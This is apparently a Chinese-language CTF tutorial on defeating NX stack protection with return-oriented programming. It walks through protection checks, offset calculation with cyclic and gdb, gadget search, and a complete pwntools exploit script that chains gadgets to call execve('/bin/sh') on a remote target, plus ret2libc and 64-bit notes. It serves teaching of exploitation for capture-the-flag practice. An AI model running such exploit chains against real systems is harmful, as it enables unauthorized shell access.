发布时间:2026/8/3 10:02:49
CTF PWN实战:利用ROP技术绕过NX保护获取Shell 1. 项目概述从“溢出”到“执行”的攻防博弈在CTF的PWN赛题世界里拿到一个程序的shell往往是最终目标。但现代操作系统和编译器早已不是“裸奔”状态它们为程序穿上了一层又一层的“盔甲”。其中NXNo-eXecute保护就是最常见、也最基础的一道防线。它简单粗暴地规定数据区比如我们精心构造的shellcode所在的栈或堆不可执行代码区程序的.text段不可写入。这直接宣判了传统“把shellcode扔到栈上然后跳过去执行”这种直球攻击方式的死刑。那么攻击者就此束手无策了吗当然不是。安全是一场永不停歇的攻防博弈。NX的出现催生了更精巧的攻击技术——ROPReturn-Oriented Programming。其核心思想是“借刀杀人”既然不能执行自己的代码shellcode那就利用程序中已有的、合法的代码片段gadget通过精心控制程序的返回地址像串珠子一样把它们串联起来最终达成执行系统调用如execve(“/bin/sh”)的目的。今天我们就来实战演练如何攻破一道开启了NX保护的典型PWN题。我不会只给你一个最终的攻击脚本而是会带你走完从分析、构思到利用的完整链条。我们将使用Python的pwntools库作为主力武器它不仅仅是发送payload的工具更是一个集成了本地/远程交互、汇编/反汇编、ELF解析、ROP链构建于一体的“瑞士军刀”。通过这个案例你将深刻理解绕过NX保护的基本方法论并掌握pwntools在实战中的高效用法。2. 目标程序分析与漏洞定位2.1 初探保护机制与程序行为拿到一个陌生的二进制文件第一步永远是信息收集。我们假设目标文件名为pwnme。# 使用 checksec 工具检查保护机制 checksec ./pwnme典型的输出可能如下Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这份“体检报告”至关重要Arch: i386-32-little: 32位小端序程序。这决定了我们构造payload时地址和数据的格式。NX enabled: 我们的主要对手栈不可执行。No canary: 好消息栈上没有金丝雀canary保护意味着我们可以进行栈溢出而不触发栈破坏检测。No PIE: 更好的消息程序地址空间布局随机化PIE未开启。这意味着程序中函数和数据的地址在每次运行时是固定的我们可以直接在payload中硬编码这些地址例如system函数的地址。接下来运行程序看看它做了什么./pwnme程序可能提示你输入名字然后打印出来或者有一个简单的菜单。我们需要用反汇编工具深入其内部。使用objdump或radare2、Ghidra等均可。这里我们用objdump快速查看objdump -d ./pwnme | less或者用pwntools在Python环境中动态分析这更贴近我们后续的利用流程from pwn import * context.binary ‘./pwnme‘ elf ELF(‘./pwnme‘) # 打印所有函数符号 print(elf.symbols) # 反汇编 main 函数 print(disasm(elf.functions[‘main‘].byte_string()))2.2 漏洞点定位危险的函数在反汇编代码中我们寻找那些可能导致缓冲区溢出的“危险函数”。在C语言中这类函数包括但不限于gets(): 读取输入直到换行无长度限制。scanf(“%s”, buf): 使用%s格式化字符串同样危险。strcpy(dest, src): 不检查目标缓冲区大小。strcat(dest, src): 同上。read(),recv(): 如果传入的长度参数大于目标缓冲区实际大小。假设我们在main函数或某个子函数中看到了gets或read的调用并且其目标缓冲区位于栈上通常是局部变量那么这里就是潜在的溢出点。关键步骤计算偏移量找到溢出点后下一步是精确计算从我们控制的输入缓冲区开始到覆盖函数返回地址Saved EIP需要多少字节。这被称为“偏移量”offset。方法有多种静态分析在反汇编中查看局部变量的布局。例如char buf[64];后面紧跟着保存的EBP和返回地址。在32位程序中如果buf起始地址距离栈帧基址EBP为0x4064字节那么覆盖返回地址就需要64 4覆盖EBP本身 68字节。动态调试推荐使用gdb配合pwntools的cyclic模式。首先生成一个不易重复的循环字符串cyclic 200 # 输出类似aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam...在gdb中运行程序并在溢出函数如gets返回时ret指令下断点。当程序崩溃时查看EIP寄存器的值。使用cyclic -l eip_value命令即可计算出精确的偏移量。例如如果EIP的值是0x6161616c‘laaa’的十六进制cyclic -l 0x6161616c会告诉你偏移量是44。注意32位和64位程序的栈结构有差异。64位程序在调用函数时前几个整数/指针参数通过寄存器RDI, RSI, RDX, RCX, R8, R9传递而不是全部压栈。这意味着在64位ROP中我们不仅需要控制返回地址还需要控制这些寄存器的值这通常需要寻找特定的pop rdi; ret这样的gadget。本例以32位为例原理相通但构造更复杂。3. ROP链原理与Gadget狩猎既然NX阻止我们执行栈上的代码我们就转向程序自身和它链接的库如libc中寻找可用的代码片段。这些片段通常以ret指令结尾被称为“gadget”。3.1 ROP的核心思想ROP的本质是通过控制栈指针ESP来间接控制程序执行流。每个gadget执行完后都会执行ret指令。ret指令等同于pop eip即从栈顶弹出一个值作为下一条指令的地址。因此如果我们能控制栈上的内容就能控制ret之后跳去哪里从而一个接一个地执行gadget。我们的目标通常是执行execve(“/bin/sh”, 0, 0)。在Linux系统调用中32位程序通过int 0x80指令触发需要设置eax 系统调用号execve为0xb或11。ebx 字符串“/bin/sh”的地址。ecx 参数数组地址通常设为0表示NULL。edx 环境变量数组地址通常设为0。因此我们的ROP链需要完成这些寄存器的赋值最后触发系统调用。3.2 使用工具寻找Gadget手动在反汇编代码里找gadget效率极低。我们使用ROPgadget或pwntools自带的ROP模块。from pwn import * context.binary ‘./pwnme‘ elf ELF(‘./pwnme‘) # 方法1使用ROP类自动搜索和构建高级功能适合简单链 # rop ROP(elf) # rop.execve(next(elf.search(b‘/bin/sh‘)), 0, 0) # 自动尝试寻找gadget构建链 # print(rop.dump()) # 方法2手动搜索关键gadget更可控推荐学习时使用 # 寻找 pop eax; ret pop_eax_ret next(elf.search(asm(‘pop eax; ret‘))) # 注意直接搜索字节可能不准 # 更可靠的方法是使用ROPgadget工具或pwntools的gadget查找 # 这里演示使用ROPgadget需单独安装的命令行结果集成 # 我们假设通过ROPgadget找到了以下地址 # 0x080bb196 : pop eax ; ret # 0x0806eb91 : pop ecx ; pop edx ; ret # 0x080491d2 : int 0x80 # 0x0804c024 : 指向 “/bin/sh” 字符串的地址可能需要我们自己写入 print(f“pop eax ; ret {hex(pop_eax_ret)}“)实际上更常见的流程是先用ROPgadget工具扫描整个二进制文件生成一个gadget列表ROPgadget --binary ./pwnme gadgets.txt然后在这个列表中搜索我们需要的指令组合。对于execve调用我们至少需要设置eax的gadgetpop eax; ret。设置ebx,ecx,edx的gadget。可能是一个pop ebx; ret和一个pop ecx; pop edx; ret或者一个能设置多个寄存器的gadget。int 0x80或syscall的地址。字符串“/bin/sh”的地址。如果程序本身没有这个字符串我们还需要利用写入原语如read函数将其写入到某个已知可写的内存区域如.bss段。3.3 构建ROP链的实战思路假设我们找到了以下gadget和地址地址是示例需根据实际目标替换pop_eax_ret 0x080bb196pop_ebx_ret 0x08049022pop_ecx_edx_ret 0x0806eb91int_0x80 0x080491d2binsh_addr 0x0804c024# .bss段上一个已知地址我们已将“/bin/sh”写入此处那么我们的ROP链在栈上的布局应该是这样的从低地址到高地址即栈顶到栈底... 填充字节直到返回地址 ... 返回地址被覆盖为pop_eax_ret (0x080bb196) --- 执行 pop eax; ret --- | eax 0xb (execve系统调用号) | | ret 到下一个地址 | -------------------------- 下一条数据 0xb (系统调用号) 下一条地址 pop_ebx_ret (0x08049022) --- 执行 pop ebx; ret --- | ebx binsh_addr (“/bin/sh”地址) | | ret 到下一个地址 | -------------------------- 下一条数据 binsh_addr (0x0804c024) 下一条地址 pop_ecx_edx_ret (0x0806eb91) --- 执行 pop ecx; pop edx; ret --- | ecx 0 (参数数组) | | edx 0 (环境变量数组) | | ret 到下一个地址 | ---------------------------------- 下一条数据 0x0 (给ecx) 下一条数据 0x0 (给edx) 下一条地址 int_0x80 (0x080491d2) --- 执行 int 0x80 --- | 触发系统调用执行execve | ---------------------用pwntools构建这个链offset 44 # 之前计算出的偏移量 pop_eax_ret 0x080bb196 pop_ebx_ret 0x08049022 pop_ecx_edx_ret 0x0806eb91 int_0x80 0x080491d2 binsh_addr 0x0804c024 payload flat([ b‘A‘ * offset, # 填充到返回地址 pop_eax_ret, # 第一个gadget地址 0xb, # pop eax 的参数 pop_ebx_ret, # 第二个gadget地址 binsh_addr, # pop ebx 的参数 pop_ecx_edx_ret, # 第三个gadget地址 0x0, # pop ecx 的参数 0x0, # pop edx 的参数 int_0x80 # 系统调用触发点 ])flat()函数是pwntools的神器它能自动将整数地址转换为适合当前二进制架构32/64位小端序的字节序列并拼接起来。4. 利用pwntools完成自动化攻击4.1 编写完整的Exploit脚本将上述所有步骤整合并考虑程序是本地运行还是远程服务。#!/usr/bin/env python3 from pwn import * # 设置目标环境和二进制文件 context(arch‘i386‘, os‘linux‘, log_level‘debug‘) # log_level‘debug‘ 会显示所有发送接收的数据调试时非常有用 context.binary ‘./pwnme‘ elf ELF(‘./pwnme‘) # 根据情况选择本地或远程 # p process(‘./pwnme‘) # 本地运行 p remote(‘靶机IP‘, 端口号) # 连接远程靶机 # 步骤1计算偏移量如果已知可跳过这里演示动态计算的一种方法 def find_offset(): # 发送cyclic pattern pattern cyclic(200) p.sendline(pattern) p.wait() # 等待程序崩溃 # 从core dump或gdb获取崩溃时的EIP值这里假设我们通过调试得到值是0x6161616c crash_eip 0x6161616c offset cyclic_find(crash_eip) # pwntools 内置函数 log.info(f“Offset found: {offset}“) return offset # offset find_offset() offset 44 # 假设我们已经知道偏移量 # 步骤2获取必要的地址 # 注意这些地址需要根据实际题目替换 # 如果程序提供了libc可能需要先泄漏libc基址。这里假设所有地址已知。 pop_eax_ret 0x080bb196 pop_ebx_ret 0x08049022 pop_ecx_edx_ret 0x0806eb91 int_0x80 0x080491d2 # 寻找或写入 “/bin/sh“ 字符串 # 情况A程序本身有字符串 binsh_addr next(elf.search(b‘/bin/sh‘)) if binsh_addr is None: # 情况B需要自己写入到可写段如.bss bss_section elf.bss() # 获取.bss段地址 # 通常需要调用 read 或 gets 函数将字符串写入bss这需要更复杂的ROP链 # 这里假设我们已经通过其他方式写入了或者题目给了地址 binsh_addr 0x0804c024 log.warn(“Using hardcoded /bin/sh address. May need a write primitive first.“) # 步骤3构造ROP链 log.info(“Constructing ROP chain...“) rop_chain flat([ pop_eax_ret, 0xb, # execve 系统调用号 pop_ebx_ret, binsh_addr, pop_ecx_edx_ret, 0x0, # ecx 0x0, # edx int_0x80 ]) # 步骤4构建最终payload payload flat([ b‘A‘ * offset, rop_chain ]) # 步骤5发送payload并交互 log.info(“Sending payload...“) p.sendline(payload) # 如果程序在gets后还有其他交互或直接退出可能需要 pause 或接收一些输出 # p.recvuntil(‘something‘) # 可选等待特定输出 # 步骤6切换到交互模式获得shell p.interactive()4.2 脚本关键点解析与调试技巧context设置log_level‘debug‘是调试利器它能让你看到脚本发送和接收的每一个字节对于检查payload是否正确、程序输出是什么至关重要。地址处理flat()函数自动处理字节序和打包。对于64位程序地址是8字节使用p64(address)手动打包也很常见。交互时机p.interactive()会将终端控制权交给你让你像在shell中一样输入命令。确保在发送payload、程序成功执行execve之后再调用它。有时程序缓冲区需要清理可以在sendline后加一句p.recvline()来消费掉无关输出。动态获取地址很多题目需要先泄漏一个libc中的函数地址如puts的got表项然后计算libc基址再推导出system和“/bin/sh”的地址。这属于更高级的“Ret2libc”技巧但核心ROP思想不变。调试技巧本地调试使用p process(‘./pwnme‘)启动然后使用gdb.attach(p)将gdb附加到进程。你可以在脚本中设置断点gdb.attach(p, ‘b *0x8049234‘)然后通过p.interactive()暂停脚本切换到gdb窗口进行调试。分段测试不要一次性构造完整的复杂ROP链。可以先测试偏移量是否正确发送一串A看是否在预定位置崩溃再测试第一个gadget是否能成功执行比如让pop eax后跳到一个printf函数打印点东西。利用core文件如果程序崩溃系统可能会生成core文件。用gdb ./pwnme core查看崩溃现场寄存器、栈内容一目了然。5. 进阶挑战与常见问题排查5.1 当简单ROP链失效时现实中的题目往往不会把所有需要的gadget都放在主二进制里。更常见的情况是你需要利用libc中的gadget。这就涉及到信息泄漏Infoleak。典型流程Ret2libc泄漏libc地址利用程序的输出函数如puts,printf,write打印出某个libc函数的GOT表地址例如putsgot。计算基址在本地使用相同版本的libc查找该函数的偏移量。libc_base leaked_puts_addr - libc.symbols[‘puts‘]。获取目标函数地址system_addr libc_base libc.symbols[‘system‘]binsh_addr libc_base next(libc.search(b‘/bin/sh‘))。构造新链此时你的ROP链可能简化为system(“/bin/sh”)只需要控制一个参数字符串地址。你需要一个pop ebx; ret或pop rdi; retfor 64-bit的gadget这个gadget可能来自二进制本身也可能来自libc。pwntools的DynELF模块或手动计算都可以实现这一过程。5.2 64位程序的差异64位ROP的主要区别在于参数传递。前六个整数参数依次通过RDI,RSI,RDX,RCX,R8,R9传递多余参数才入栈。因此为了调用system(“/bin/sh”)你需要找到pop rdi; ret的gadget将“/bin/sh”的地址传入rdi。跳转到system函数的地址。栈对齐Stack Alignment在64位下也可能是个坑。某些libc函数如system在调用时要求栈是16字节对齐的。如果ret到system时栈指针RSP不是16字节对齐可能会导致崩溃。解决方法是在ROP链中插入一个只做ret的gadget来微调RSP。5.3 常见问题与排查表问题现象可能原因排查方法发送payload后程序无反应或立即退出1. 偏移量计算错误。2. 地址错误如PIE开启导致基址变化。3. 栈对齐问题64位。4. payload包含坏字符如\x00,\x0a,\x0d被输入函数截断。1. 用cyclic和gdb重新计算偏移。2. 检查保护机制确认地址是否有效。远程可能需泄漏地址。3. 在system地址前加一个retgadget。4. 检查read/gets等函数对输入的处理避免使用坏字符。能执行到gadget但后续崩溃1. gadget执行环境被破坏如栈指针错乱。2. 给gadget的参数数量不对。3. 内存地址不可写或不可读。1. 用gdb单步跟踪观察每个gadget执行前后寄存器和栈的变化。2. 反汇编确认gadget需要pop几个参数。3. 检查用于写入字符串的地址是否在可写段.bss, .data。成功拿到shell但立即断开1. 标准输入输出被关闭或重定向。2. 远程连接的网络问题。3. 父进程崩溃导致子进程shell退出。1. 尝试使用p.sendline(‘cat flag‘)直接读取flag而不是交互式shell。2. 使用p remote(…, timeout5)并确保网络稳定。3. 考虑使用execve而不是system或者用dup2将标准输入输出复制到socket描述符。泄漏出的地址无法计算libc版本1. 泄漏的地址不准确只泄漏了部分。2. 服务器libc版本未知。1. 确保输出函数完整打印了地址如puts会在末尾加换行可能影响接收。使用p.recvuntil(‘\x7f‘)来捕获完整地址。2. 使用在线工具如libc database根据泄漏的地址低12位后三位来匹配可能的libc版本。5.4 我的几点实操心得从简单到复杂不要一上来就挑战最难的题。先从关闭所有保护-no-pie -fno-stack-protector -z execstack的栈溢出开始然后单独开启NX练习ROP再开启ASLR/PIE练习信息泄漏。每一步都夯实。工具是辅助理解是根本pwntools和ROPgadget能极大提升效率但你必须理解它们输出的每一个地址、每一条指令的含义。亲手用gdb跟踪一遍ROP链的执行感受栈的变化这种理解是无可替代的。善用搜索遇到陌生的保护机制如seccomp沙箱或奇怪的崩溃善用搜索引擎和CTF社区的Writeup解题报告。但看Writeup的目的是学习思路和方法而不是抄答案。构建自己的武器库将常用的功能封装成函数比如一个自动查找pop rdi; ret的gadget的函数或者一个处理远程连接和泄漏的模板。这能让你在比赛中快速上手。耐心与细致PWN题调试往往耗时很长一个字节的错误就可能导致前功尽弃。保持耐心仔细比对地址、检查偏移、观察日志。context.log_level ‘debug‘是你的最佳伙伴。绕过NX保护执行shellcode本质上是将“代码执行”转化为“数据操控”和“流程劫持”的组合拳。ROP技术是这门艺术的基础。通过本次实战希望你不仅学会了如何使用pwntools构造一个简单的ROP链更能体会到在限制条件下寻找突破口的那种“黑客思维”。这仅仅是开始后面还有堆利用、格式化字符串、沙箱逃逸等更广阔的天地等着你去探索。记住每一个安全机制的出现都意味着一种新攻击技术的诞生。

相关新闻

2026/8/3 10:02:49

Flink on Yarn端口安全防护与iptables实践

1. Flink on Yarn 端口安全风险全景扫描在分布式计算领域,Flink on Yarn 的部署模式因其资源利用率高、弹性扩展能力强而备受青睐。但近期我在生产环境巡检时发现,当Flink任务通过Yarn启动后,JobManager和TaskManager的RPC端口(默…

2026/8/3 10:48:01

Sanic:Python高性能异步Web框架实战指南

1. 为什么选择Sanic作为Python异步Web框架当我们需要在Python生态中选择一个Web框架时,Flask和Django通常是首先映入脑海的选项。但如果你正在开发一个需要处理高并发请求的服务,或者需要构建一个实时性要求高的API服务,Sanic可能才是那个被低…

2026/8/3 10:48:01

3分钟搞定网易云音乐加密:ncmdump终极解密指南

3分钟搞定网易云音乐加密:ncmdump终极解密指南 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM文件无法在其他播放器播放而烦恼吗?今天我要为你介绍一个神奇的免费工具——ncmdump&…

2026/8/3 10:48:01

从米诺夫斯基粒子到扎古量产:技术奇点如何驱动非对称战争

如果你是一名《机动战士高达》的资深粉丝,或者对“宇宙世纪”宏大叙事背后的设定逻辑着迷,那么“吉翁公国独立”这个事件,绝不仅仅是一句“反派造反了”那么简单。 它背后是一整套精密、冷酷且极具现实隐喻的政治、经济与军事逻辑。为什么一…

2026/8/3 10:48:01

Unity字符串性能优化:从原理到实战,彻底解决GC卡顿问题

1. 项目概述:为什么Unity中的字符串是性能“隐形杀手”? 如果你在Unity项目开发中,尤其是在移动端或者需要处理大量UI、网络数据、配置文件的场景下,感觉游戏时不时“卡”一下,帧率出现难以解释的波动,或者…

2026/8/3 10:48:01

SPSS日期变量转换全解析:从格式设置到实战分析避坑指南

1. 从“2024-05-20”到“星期几”:为什么我们需要转换日期变量 如果你刚刚开始接触SPSS,处理数据时遇到一列日期,比如“2024-05-20”,你可能会觉得这没什么问题,直接拿来用就好。但当你试图分析“周末的销售额是否更高…

2026/8/3 10:43:01

WEBGIS中Zoom Level的原理与应用实践

1. 地图级别(Zoom Level)的本质与作用地图级别(Zoom Level)是WEBGIS系统中控制地图显示范围与细节程度的核心参数。它本质上是一个离散的数值序列,每个级别对应特定的地图比例尺和显示内容密度。在主流WEBGIS框架如Lea…

2026/8/2 0:02:18

如何用免费工具突破游戏窗口限制:SRWE完整使用指南

如何用免费工具突破游戏窗口限制:SRWE完整使用指南 【免费下载链接】SRWE Simple Runtime Window Editor 项目地址: https://gitcode.com/gh_mirrors/sr/SRWE 你是否遇到过这样的困扰?想为心爱的游戏截图,却发现游戏不支持自定义分辨率…

2026/8/2 1:52:02

实测才敢推 AI论文网站 2026最新测评与推荐

2026年真正好用的AI论文网站,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。一、综…

2026/8/1 0:03:49

2026必备!AI论文网站测评:最新推荐与深度对比

2026年真正好用的AI论文网站,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 一、…

2026/8/2 8:56:50

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

一天写完毕业论文在2026年已不再是天方夜谭。2026年最炸裂、实测能大幅提速的AI论文写作工具,覆盖选题构思、文献整理、内容生成、格式排版等核心场景,真正帮你高效搞定论文难题。 一、全流程王者:一站式搞定论文全链路(一天定稿首…